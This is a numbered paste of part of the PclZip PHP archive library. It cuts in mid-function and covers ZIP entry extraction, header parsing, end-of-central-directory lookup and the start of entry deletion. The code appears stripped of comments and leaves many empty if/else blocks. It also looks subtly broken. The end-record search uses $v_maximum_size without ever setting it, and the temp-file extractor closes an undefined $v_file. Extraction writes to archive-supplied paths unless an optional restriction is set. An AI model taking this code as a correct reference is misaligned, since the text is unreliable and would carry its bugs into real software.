  2412. {
  2413. return $v_result;
  2414. }
  2415.  
  2416.  
  2417. if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
  2418. }
  2419.  
  2420. if ($p_remove_all_path == true) {
  2421. if (($p_entry['external']&0x00000010)==0x00000010) {
  2422.  
  2423. $p_entry['status'] = "filtered";
  2424.  
  2425. return $v_result;
  2426. }
  2427.  
  2428. $p_entry['filename'] = basename($p_entry['filename']);
  2429. }
  2430.  
  2431. else if ($p_remove_path != "")
  2432. {
  2433. if (PclZipUtilPathInclusion($p_remove_path, $p_entry['filename']) == 2)
  2434. {
  2435.  
  2436. $p_entry['status'] = "filtered";
  2437.  
  2438. return $v_result;
  2439. }
  2440.  
  2441. $p_remove_path_size = strlen($p_remove_path);
  2442. if (substr($p_entry['filename'], 0, $p_remove_path_size) == $p_remove_path)
  2443. {
  2444.  
  2445. $p_entry['filename'] = substr($p_entry['filename'], $p_remove_path_size);
  2446.  
  2447. }
  2448. }
  2449.  
  2450. if ($p_path != '') {
  2451. $p_entry['filename'] = $p_path."/".$p_entry['filename'];
  2452. }
  2453.  
  2454. if (isset($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION])) {
  2455. $v_inclusion
  2456. = PclZipUtilPathInclusion($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION],
  2457. $p_entry['filename']);
  2458. if ($v_inclusion == 0) {
  2459.  
  2460. PclZip::privErrorLog(PCLZIP_ERR_DIRECTORY_RESTRICTION,
  2461. "Filename '".$p_entry['filename']."' is "
  2462. ."outside PCLZIP_OPT_EXTRACT_DIR_RESTRICTION");
  2463.  
  2464. return PclZip::errorCode();
  2465. }
  2466. }
  2467.  
  2468. if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {
  2469.  
  2470. $v_local_header = array();
  2471. $this->privConvertHeader2FileInfo($p_entry, $v_local_header);
  2472.  
  2473. $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header);
  2474. if ($v_result == 0) {
  2475. $p_entry['status'] = "skipped";
  2476. $v_result = 1;
  2477. }
  2478.  
  2479. if ($v_result == 2) {
  2480. $p_entry['status'] = "aborted";
  2481. $v_result = PCLZIP_ERR_USER_ABORTED;
  2482. }
  2483.  
  2484. $p_entry['filename'] = $v_local_header['filename'];
  2485. }
  2486.  
  2487.  
  2488. if ($p_entry['status'] == 'ok') {
  2489.  
  2490. if (file_exists($p_entry['filename']))
  2491. {
  2492.  
  2493. if (is_dir($p_entry['filename']))
  2494. {
  2495.  
  2496. $p_entry['status'] = "already_a_directory";
  2497.  
  2498. if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
  2499. && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
  2500.  
  2501. PclZip::privErrorLog(PCLZIP_ERR_ALREADY_A_DIRECTORY,
  2502. "Filename '".$p_entry['filename']."' is "
  2503. ."already used by an existing directory");
  2504.  
  2505. return PclZip::errorCode();
  2506. }
  2507. }
  2508. else if (!is_writeable($p_entry['filename']))
  2509. {
  2510.  
  2511. $p_entry['status'] = "write_protected";
  2512.  
  2513. if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
  2514. && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
  2515.  
  2516. PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL,
  2517. "Filename '".$p_entry['filename']."' exists "
  2518. ."and is write protected");
  2519.  
  2520. return PclZip::errorCode();
  2521. }
  2522. }
  2523.  
  2524. else if (filemtime($p_entry['filename']) > $p_entry['mtime'])
  2525. {
  2526. if ( (isset($p_options[PCLZIP_OPT_REPLACE_NEWER]))
  2527. && ($p_options[PCLZIP_OPT_REPLACE_NEWER]===true)) {
  2528. }
  2529. else {
  2530. $p_entry['status'] = "newer_exist";
  2531.  
  2532. if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
  2533. && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
  2534.  
  2535. PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL,
  2536. "Newer version of '".$p_entry['filename']."' exists "
  2537. ."and option PCLZIP_OPT_REPLACE_NEWER is not selected");
  2538.  
  2539. return PclZip::errorCode();
  2540. }
  2541. }
  2542. }
  2543. else {
  2544. }
  2545. }
  2546.  
  2547. else {
  2548. if ((($p_entry['external']&0x00000010)==0x00000010) || (substr($p_entry['filename'], -1) == '/'))
  2549. $v_dir_to_check = $p_entry['filename'];
  2550. else if (!strstr($p_entry['filename'], "/"))
  2551. $v_dir_to_check = "";
  2552. else
  2553. $v_dir_to_check = dirname($p_entry['filename']);
  2554.  
  2555. if (($v_result = $this->privDirCheck($v_dir_to_check, (($p_entry['external']&0x00000010)==0x00000010))) != 1) {
  2556.  
  2557. $p_entry['status'] = "path_creation_fail";
  2558.  
  2559. $v_result = 1;
  2560. }
  2561. }
  2562. }
  2563.  
  2564. if ($p_entry['status'] == 'ok') {
  2565.  
  2566. if (!(($p_entry['external']&0x00000010)==0x00000010))
  2567. {
  2568. if ($p_entry['compression'] == 0) {
  2569.  
  2570. if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0)
  2571. {
  2572.  
  2573. $p_entry['status'] = "write_error";
  2574.  
  2575. return $v_result;
  2576. }
  2577.  
  2578.  
  2579. $v_size = $p_entry['compressed_size'];
  2580. while ($v_size != 0)
  2581. {
  2582. $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
  2583. $v_buffer = @fread($this->zip_fd, $v_read_size);
  2584. @fwrite($v_dest_file, $v_buffer, $v_read_size);
  2585. $v_size -= $v_read_size;
  2586. }
  2587.  
  2588. fclose($v_dest_file);
  2589.  
  2590. touch($p_entry['filename'], $p_entry['mtime']);
  2591.  
  2592.  
  2593. }
  2594. else {
  2595. if (($p_entry['flag'] & 1) == 1) {
  2596. PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION, 'File \''.$p_entry['filename'].'\' is encrypted. Encrypted files are not supported.');
  2597. return PclZip::errorCode();
  2598. }
  2599.  
  2600.  
  2601. if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF]))
  2602. && (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON])
  2603. || (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD])
  2604. && ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_entry['size'])) ) ) {
  2605. $v_result = $this->privExtractFileUsingTempFile($p_entry, $p_options);
  2606. if ($v_result < PCLZIP_ERR_NO_ERROR) {
  2607. return $v_result;
  2608. }
  2609. }
  2610.  
  2611. else {
  2612.  
  2613.  
  2614. $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
  2615.  
  2616. $v_file_content = @gzinflate($v_buffer);
  2617. unset($v_buffer);
  2618. if ($v_file_content === FALSE) {
  2619.  
  2620. $p_entry['status'] = "error";
  2621.  
  2622. return $v_result;
  2623. }
  2624.  
  2625. if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) {
  2626.  
  2627. $p_entry['status'] = "write_error";
  2628.  
  2629. return $v_result;
  2630. }
  2631.  
  2632. @fwrite($v_dest_file, $v_file_content, $p_entry['size']);
  2633. unset($v_file_content);
  2634.  
  2635. @fclose($v_dest_file);
  2636.  
  2637. }
  2638.  
  2639. @touch($p_entry['filename'], $p_entry['mtime']);
  2640. }
  2641.  
  2642. if (isset($p_options[PCLZIP_OPT_SET_CHMOD])) {
  2643.  
  2644. @chmod($p_entry['filename'], $p_options[PCLZIP_OPT_SET_CHMOD]);
  2645. }
  2646.  
  2647. }
  2648. }
  2649.  
  2650. if ($p_entry['status'] == "aborted") {
  2651. $p_entry['status'] = "skipped";
  2652. }
  2653.  
  2654. elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {
  2655.  
  2656. $v_local_header = array();
  2657. $this->privConvertHeader2FileInfo($p_entry, $v_local_header);
  2658.  
  2659. $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header);
  2660.  
  2661. if ($v_result == 2) {
  2662. $v_result = PCLZIP_ERR_USER_ABORTED;
  2663. }
  2664. }
  2665.  
  2666. return $v_result;
  2667. }
  2668.  
  2669. function privExtractFileUsingTempFile(&$p_entry, &$p_options)
  2670. {
  2671. $v_result=1;
  2672.  
  2673. $v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz';
  2674. if (($v_dest_file = @fopen($v_gzip_temp_name, "wb")) == 0) {
  2675. fclose($v_file);
  2676. PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary write mode');
  2677. return PclZip::errorCode();
  2678. }
  2679.  
  2680.  
  2681. $v_binary_data = pack('va1a1Va1a1', 0x8b1f, Chr($p_entry['compression']), Chr(0x00), time(), Chr(0x00), Chr(3));
  2682. @fwrite($v_dest_file, $v_binary_data, 10);
  2683.  
  2684. $v_size = $p_entry['compressed_size'];
  2685. while ($v_size != 0)
  2686. {
  2687. $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
  2688. $v_buffer = @fread($this->zip_fd, $v_read_size);
  2689. @fwrite($v_dest_file, $v_buffer, $v_read_size);
  2690. $v_size -= $v_read_size;
  2691. }
  2692.  
  2693. $v_binary_data = pack('VV', $p_entry['crc'], $p_entry['size']);
  2694. @fwrite($v_dest_file, $v_binary_data, 8);
  2695.  
  2696. @fclose($v_dest_file);
  2697.  
  2698. if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) {
  2699. $p_entry['status'] = "write_error";
  2700. return $v_result;
  2701. }
  2702.  
  2703. if (($v_src_file = @gzopen($v_gzip_temp_name, 'rb')) == 0) {
  2704. @fclose($v_dest_file);
  2705. $p_entry['status'] = "read_error";
  2706. PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode');
  2707. return PclZip::errorCode();
  2708. }
  2709.  
  2710.  
  2711. $v_size = $p_entry['size'];
  2712. while ($v_size != 0) {
  2713. $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
  2714. $v_buffer = @gzread($v_src_file, $v_read_size);
  2715. @fwrite($v_dest_file, $v_buffer, $v_read_size);
  2716. $v_size -= $v_read_size;
  2717. }
  2718. @fclose($v_dest_file);
  2719. @gzclose($v_src_file);
  2720.  
  2721. @unlink($v_gzip_temp_name);
  2722.  
  2723. return $v_result;
  2724. }
  2725.  
  2726. function privExtractFileInOutput(&$p_entry, &$p_options)
  2727. {
  2728. $v_result=1;
  2729.  
  2730. if (($v_result = $this->privReadFileHeader($v_header)) != 1) {
  2731. return $v_result;
  2732. }
  2733.  
  2734.  
  2735. if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
  2736. }
  2737.  
  2738. if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {
  2739.  
  2740. $v_local_header = array();
  2741. $this->privConvertHeader2FileInfo($p_entry, $v_local_header);
  2742.  
  2743. $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header);
  2744. if ($v_result == 0) {
  2745. $p_entry['status'] = "skipped";
  2746. $v_result = 1;
  2747. }
  2748.  
  2749. if ($v_result == 2) {
  2750. $p_entry['status'] = "aborted";
  2751. $v_result = PCLZIP_ERR_USER_ABORTED;
  2752. }
  2753.  
  2754. $p_entry['filename'] = $v_local_header['filename'];
  2755. }
  2756.  
  2757.  
  2758. if ($p_entry['status'] == 'ok') {
  2759.  
  2760. if (!(($p_entry['external']&0x00000010)==0x00000010)) {
  2761. if ($p_entry['compressed_size'] == $p_entry['size']) {
  2762.  
  2763. $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
  2764.  
  2765. echo $v_buffer;
  2766. unset($v_buffer);
  2767. }
  2768. else {
  2769.  
  2770. $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
  2771.  
  2772. $v_file_content = gzinflate($v_buffer);
  2773. unset($v_buffer);
  2774.  
  2775. echo $v_file_content;
  2776. unset($v_file_content);
  2777. }
  2778. }
  2779. }
  2780.  
  2781. if ($p_entry['status'] == "aborted") {
  2782. $p_entry['status'] = "skipped";
  2783. }
  2784.  
  2785. elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {
  2786.  
  2787. $v_local_header = array();
  2788. $this->privConvertHeader2FileInfo($p_entry, $v_local_header);
  2789.  
  2790. $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header);
  2791.  
  2792. if ($v_result == 2) {
  2793. $v_result = PCLZIP_ERR_USER_ABORTED;
  2794. }
  2795. }
  2796.  
  2797. return $v_result;
  2798. }
  2799.  
  2800. function privExtractFileAsString(&$p_entry, &$p_string, &$p_options)
  2801. {
  2802. $v_result=1;
  2803.  
  2804. $v_header = array();
  2805. if (($v_result = $this->privReadFileHeader($v_header)) != 1)
  2806. {
  2807. return $v_result;
  2808. }
  2809.  
  2810.  
  2811. if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
  2812. }
  2813.  
  2814. if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {
  2815.  
  2816. $v_local_header = array();
  2817. $this->privConvertHeader2FileInfo($p_entry, $v_local_header);
  2818.  
  2819. $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header);
  2820. if ($v_result == 0) {
  2821. $p_entry['status'] = "skipped";
  2822. $v_result = 1;
  2823. }
  2824.  
  2825. if ($v_result == 2) {
  2826. $p_entry['status'] = "aborted";
  2827. $v_result = PCLZIP_ERR_USER_ABORTED;
  2828. }
  2829.  
  2830. $p_entry['filename'] = $v_local_header['filename'];
  2831. }
  2832.  
  2833.  
  2834. if ($p_entry['status'] == 'ok') {
  2835.  
  2836. if (!(($p_entry['external']&0x00000010)==0x00000010)) {
  2837. if ($p_entry['compression'] == 0) {
  2838.  
  2839. $p_string = @fread($this->zip_fd, $p_entry['compressed_size']);
  2840. }
  2841. else {
  2842.  
  2843. $v_data = @fread($this->zip_fd, $p_entry['compressed_size']);
  2844.  
  2845. if (($p_string = @gzinflate($v_data)) === FALSE) {
  2846. }
  2847. }
  2848.  
  2849. }
  2850. else {
  2851. }
  2852.  
  2853. }
  2854.  
  2855. if ($p_entry['status'] == "aborted") {
  2856. $p_entry['status'] = "skipped";
  2857. }
  2858.  
  2859. elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {
  2860.  
  2861. $v_local_header = array();
  2862. $this->privConvertHeader2FileInfo($p_entry, $v_local_header);
  2863.  
  2864. $v_local_header['content'] = $p_string;
  2865. $p_string = '';
  2866.  
  2867. $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header);
  2868.  
  2869. $p_string = $v_local_header['content'];
  2870. unset($v_local_header['content']);
  2871.  
  2872. if ($v_result == 2) {
  2873. $v_result = PCLZIP_ERR_USER_ABORTED;
  2874. }
  2875. }
  2876.  
  2877. return $v_result;
  2878. }
  2879.  
  2880. function privReadFileHeader(&$p_header)
  2881. {
  2882. $v_result=1;
  2883.  
  2884. $v_binary_data = @fread($this->zip_fd, 4);
  2885. $v_data = unpack('Vid', $v_binary_data);
  2886.  
  2887. if ($v_data['id'] != 0x04034b50)
  2888. {
  2889.  
  2890. PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure');
  2891.  
  2892. return PclZip::errorCode();
  2893. }
  2894.  
  2895. $v_binary_data = fread($this->zip_fd, 26);
  2896.  
  2897. if (strlen($v_binary_data) != 26)
  2898. {
  2899. $p_header['filename'] = "";
  2900. $p_header['status'] = "invalid_header";
  2901.  
  2902. PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data));
  2903.  
  2904. return PclZip::errorCode();
  2905. }
  2906.  
  2907. $v_data = unpack('vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len', $v_binary_data);
  2908.  
  2909. $p_header['filename'] = fread($this->zip_fd, $v_data['filename_len']);
  2910.  
  2911. if ($v_data['extra_len'] != 0) {
  2912. $p_header['extra'] = fread($this->zip_fd, $v_data['extra_len']);
  2913. }
  2914. else {
  2915. $p_header['extra'] = '';
  2916. }
  2917.  
  2918. $p_header['version_extracted'] = $v_data['version'];
  2919. $p_header['compression'] = $v_data['compression'];
  2920. $p_header['size'] = $v_data['size'];
  2921. $p_header['compressed_size'] = $v_data['compressed_size'];
  2922. $p_header['crc'] = $v_data['crc'];
  2923. $p_header['flag'] = $v_data['flag'];
  2924. $p_header['filename_len'] = $v_data['filename_len'];
  2925.  
  2926. $p_header['mdate'] = $v_data['mdate'];
  2927. $p_header['mtime'] = $v_data['mtime'];
  2928. if ($p_header['mdate'] && $p_header['mtime'])
  2929. {
  2930. $v_hour = ($p_header['mtime'] & 0xF800) >> 11;
  2931. $v_minute = ($p_header['mtime'] & 0x07E0) >> 5;
  2932. $v_seconde = ($p_header['mtime'] & 0x001F)*2;
  2933.  
  2934. $v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980;
  2935. $v_month = ($p_header['mdate'] & 0x01E0) >> 5;
  2936. $v_day = $p_header['mdate'] & 0x001F;
  2937.  
  2938. $p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year);
  2939.  
  2940. }
  2941. else
  2942. {
  2943. $p_header['mtime'] = time();
  2944. }
  2945.  
  2946.  
  2947. $p_header['stored_filename'] = $p_header['filename'];
  2948.  
  2949. $p_header['status'] = "ok";
  2950.  
  2951. return $v_result;
  2952. }
  2953.  
  2954. function privReadCentralFileHeader(&$p_header)
  2955. {
  2956. $v_result=1;
  2957.  
  2958. $v_binary_data = @fread($this->zip_fd, 4);
  2959. $v_data = unpack('Vid', $v_binary_data);
  2960.  
  2961. if ($v_data['id'] != 0x02014b50)
  2962. {
  2963.  
  2964. PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure');
  2965.  
  2966. return PclZip::errorCode();
  2967. }
  2968.  
  2969. $v_binary_data = fread($this->zip_fd, 42);
  2970.  
  2971. if (strlen($v_binary_data) != 42)
  2972. {
  2973. $p_header['filename'] = "";
  2974. $p_header['status'] = "invalid_header";
  2975.  
  2976. PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data));
  2977.  
  2978. return PclZip::errorCode();
  2979. }
  2980.  
  2981. $p_header = unpack('vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset', $v_binary_data);
  2982.  
  2983. if ($p_header['filename_len'] != 0)
  2984. $p_header['filename'] = fread($this->zip_fd, $p_header['filename_len']);
  2985. else
  2986. $p_header['filename'] = '';
  2987.  
  2988. if ($p_header['extra_len'] != 0)
  2989. $p_header['extra'] = fread($this->zip_fd, $p_header['extra_len']);
  2990. else
  2991. $p_header['extra'] = '';
  2992.  
  2993. if ($p_header['comment_len'] != 0)
  2994. $p_header['comment'] = fread($this->zip_fd, $p_header['comment_len']);
  2995. else
  2996. $p_header['comment'] = '';
  2997.  
  2998. if (1)
  2999. {
  3000. $v_hour = ($p_header['mtime'] & 0xF800) >> 11;
  3001. $v_minute = ($p_header['mtime'] & 0x07E0) >> 5;
  3002. $v_seconde = ($p_header['mtime'] & 0x001F)*2;
  3003.  
  3004. $v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980;
  3005. $v_month = ($p_header['mdate'] & 0x01E0) >> 5;
  3006. $v_day = $p_header['mdate'] & 0x001F;
  3007.  
  3008. $p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year);
  3009.  
  3010. }
  3011. else
  3012. {
  3013. $p_header['mtime'] = time();
  3014. }
  3015.  
  3016. $p_header['stored_filename'] = $p_header['filename'];
  3017.  
  3018. $p_header['status'] = 'ok';
  3019.  
  3020. if (substr($p_header['filename'], -1) == '/') {
  3021. $p_header['external'] = 0x00000010;
  3022. }
  3023.  
  3024.  
  3025. return $v_result;
  3026. }
  3027.  
  3028. function privCheckFileHeaders(&$p_local_header, &$p_central_header)
  3029. {
  3030. $v_result=1;
  3031.  
  3032. if ($p_local_header['filename'] != $p_central_header['filename']) {
  3033. }
  3034. if ($p_local_header['version_extracted'] != $p_central_header['version_extracted']) {
  3035. }
  3036. if ($p_local_header['flag'] != $p_central_header['flag']) {
  3037. }
  3038. if ($p_local_header['compression'] != $p_central_header['compression']) {
  3039. }
  3040. if ($p_local_header['mtime'] != $p_central_header['mtime']) {
  3041. }
  3042. if ($p_local_header['filename_len'] != $p_central_header['filename_len']) {
  3043. }
  3044.  
  3045. if (($p_local_header['flag'] & 8) == 8) {
  3046. $p_local_header['size'] = $p_central_header['size'];
  3047. $p_local_header['compressed_size'] = $p_central_header['compressed_size'];
  3048. $p_local_header['crc'] = $p_central_header['crc'];
  3049. }
  3050.  
  3051. return $v_result;
  3052. }
  3053.  
  3054. function privReadEndCentralDir(&$p_central_dir)
  3055. {
  3056. $v_result=1;
  3057.  
  3058. $v_size = filesize($this->zipname);
  3059. @fseek($this->zip_fd, $v_size);
  3060. if (@ftell($this->zip_fd) != $v_size)
  3061. {
  3062. PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to go to the end of the archive \''.$this->zipname.'\'');
  3063.  
  3064. return PclZip::errorCode();
  3065. }
  3066.  
  3067. $v_found = 0;
  3068. if ($v_size > 26) {
  3069. @fseek($this->zip_fd, $v_size-22);
  3070. if (($v_pos = @ftell($this->zip_fd)) != ($v_size-22))
  3071. {
  3072. PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\'');
  3073.  
  3074. return PclZip::errorCode();
  3075. }
  3076.  
  3077. $v_binary_data = @fread($this->zip_fd, 4);
  3078. $v_data = @unpack('Vid', $v_binary_data);
  3079.  
  3080. if ($v_data['id'] == 0x06054b50) {
  3081. $v_found = 1;
  3082. }
  3083.  
  3084. $v_pos = ftell($this->zip_fd);
  3085. }
  3086.  
  3087. if (!$v_found) {
  3088. if ($v_maximum_size > $v_size)
  3089. $v_maximum_size = $v_size;
  3090. @fseek($this->zip_fd, $v_size-$v_maximum_size);
  3091. if (@ftell($this->zip_fd) != ($v_size-$v_maximum_size))
  3092. {
  3093. PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\'');
  3094.  
  3095. return PclZip::errorCode();
  3096. }
  3097.  
  3098. $v_pos = ftell($this->zip_fd);
  3099. $v_bytes = 0x00000000;
  3100. while ($v_pos < $v_size)
  3101. {
  3102. $v_byte = @fread($this->zip_fd, 1);
  3103.  
  3104. $v_bytes = ( ($v_bytes & 0xFFFFFF) << 8) | Ord($v_byte);
  3105.  
  3106. if ($v_bytes == 0x504b0506)
  3107. {
  3108. $v_pos++;
  3109. break;
  3110. }
  3111.  
  3112. $v_pos++;
  3113. }
  3114.  
  3115. if ($v_pos == $v_size)
  3116. {
  3117.  
  3118. PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Unable to find End of Central Dir Record signature");
  3119.  
  3120. return PclZip::errorCode();
  3121. }
  3122. }
  3123.  
  3124. $v_binary_data = fread($this->zip_fd, 18);
  3125.  
  3126. if (strlen($v_binary_data) != 18)
  3127. {
  3128.  
  3129. PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid End of Central Dir Record size : ".strlen($v_binary_data));
  3130.  
  3131. return PclZip::errorCode();
  3132. }
  3133.  
  3134. $v_data = unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size', $v_binary_data);
  3135.  
  3136. if (($v_pos + $v_data['comment_size'] + 18) != $v_size) {
  3137.  
  3138. if (0) {
  3139. PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT,
  3140. 'The central dir is not at the end of the archive.'
  3141. .' Some trailing bytes exists after the archive.');
  3142.  
  3143. return PclZip::errorCode();
  3144. }
  3145. }
  3146.  
  3147. if ($v_data['comment_size'] != 0) {
  3148. $p_central_dir['comment'] = fread($this->zip_fd, $v_data['comment_size']);
  3149. }
  3150. else
  3151. $p_central_dir['comment'] = '';
  3152.  
  3153. $p_central_dir['entries'] = $v_data['entries'];
  3154. $p_central_dir['disk_entries'] = $v_data['disk_entries'];
  3155. $p_central_dir['offset'] = $v_data['offset'];
  3156. $p_central_dir['size'] = $v_data['size'];
  3157. $p_central_dir['disk'] = $v_data['disk'];
  3158. $p_central_dir['disk_start'] = $v_data['disk_start'];
  3159.  
  3160.  
  3161. return $v_result;
  3162. }
  3163.  
  3164. function privDeleteByRule(&$p_result_list, &$p_options)
  3165. {
  3166. $v_result=1;
  3167. $v_list_detail = array();
  3168.  
  3169. if (($v_result=$this->privOpenFd('rb')) != 1)
  3170. {
  3171. return $v_result;
  3172. }
  3173.  
  3174. $v_central_dir = array();
  3175. if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
  3176. {
  3177. $this->privCloseFd();
  3178. return $v_result;
  3179. }
  3180.  
  3181. @rewind($this->zip_fd);
  3182.  
  3183. $v_pos_entry = $v_central_dir['offset'];
  3184. @rewind($this->zip_fd);
  3185. if (@fseek($this->zip_fd, $v_pos_entry))
  3186. {
  3187. $this->privCloseFd();
  3188.  
  3189. PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
  3190.  
  3191. return PclZip::errorCode();
  3192. }
  3193.  
  3194. $v_header_list = array();
  3195. $j_start = 0;
  3196. for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++)
  3197. {
  3198.  
  3199. $v_header_list[$v_nb_extracted] = array();
  3200. if (($v_result = $this->privReadCentralFileHeader($v_header_list[$v_nb_extracted])) != 1)
  3201. {
  3202. $this->privCloseFd();
  3203.  
  3204. return $v_result;
  3205. }
  3206.  
  3207.  
  3208. $v_header_list[$v_nb_extracted]['index'] = $i;
  3209.  
  3210. $v_found = false;
  3211.  
  3212. if ( (isset($p_options[PCLZIP_OPT_BY_NAME]))
  3213. && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) {
  3214.  
  3215. for ($j=0; ($j<sizeof($p_options[PCLZIP_OPT_BY_NAME])) && (!$v_found); $j++) {
  3216.  
  3217. if (substr($p_options[PCLZIP_OPT_BY_NAME][$j], -1) == "/") {
  3218.  
  3219. if ( (strlen($v_header_list[$v_nb_extracted]['stored_filename']) > strlen($p_options[PCLZIP_OPT_BY_NAME][$j]))
  3220. && (substr($v_header_list[$v_nb_extracted]['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
  3221. $v_found = true;
  3222. }
  3223. elseif ( (($v_header_list[$v_nb_extracted]['external']&0x00000010)==0x00000010)
  3224. && ($v_header_list[$v_nb_extracted]['stored_filename'].'/' == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
  3225. $v_found = true;
  3226. }
  3227. }
  3228. elseif ($v_header_list[$v_nb_extracted]['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) {
  3229. $v_found = true;
  3230. }
  3231. }
  3232. }
  3233.  
  3234.  
  3235. else if ( (isset($p_options[PCLZIP_OPT_BY_PREG]))
  3236. && ($p_options[PCLZIP_OPT_BY_PREG] != "")) {
  3237.  
  3238. if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header_list[$v_nb_extracted]['stored_filename'])) {
  3239. $v_found = true;
  3240. }
  3241. }
  3242.  
  3243. else if ( (isset($p_options[PCLZIP_OPT_BY_INDEX]))
  3244. && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) {
  3245.  
  3246. for ($j=$j_start; ($j<sizeof($p_options[PCLZIP_OPT_BY_INDEX])) && (!$v_found); $j++) {
  3247.  
  3248. if (($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) {
  3249. $v_found = true;
  3250. }
  3251. if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) {
  3252. $j_start = $j+1;
  3253. }
  3254.  
  3255. if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) {
  3256. break;
  3257. }
  3258. }
  3259. }
  3260. else {
  3261. $v_found = true;
  3262. }
  3263.  
  3264. if ($v_found)
  3265. {
  3266. unset($v_header_list[$v_nb_extracted]);
  3267. }
  3268. else
  3269. {
  3270. $v_nb_extracted++;
  3271. }
  3272. }
  3273.  
  3274. if ($v_nb_extracted > 0) {
  3275.  
  3276. $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';
  3277.  
  3278. $v_temp_zip = new PclZip($v_zip_temp_name);
  3279.  
  3280. if (($v_result = $v_temp_zip->privOpenFd('wb')) != 1) {
  3281. $this->privCloseFd();
  3282.  
  3283. return $v_result;
  3284. }
  3285.  
  3286. for ($i=0; $i<sizeof($v_header_list); $i++) {
  3287.  
  3288. @rewind($this->zip_fd);
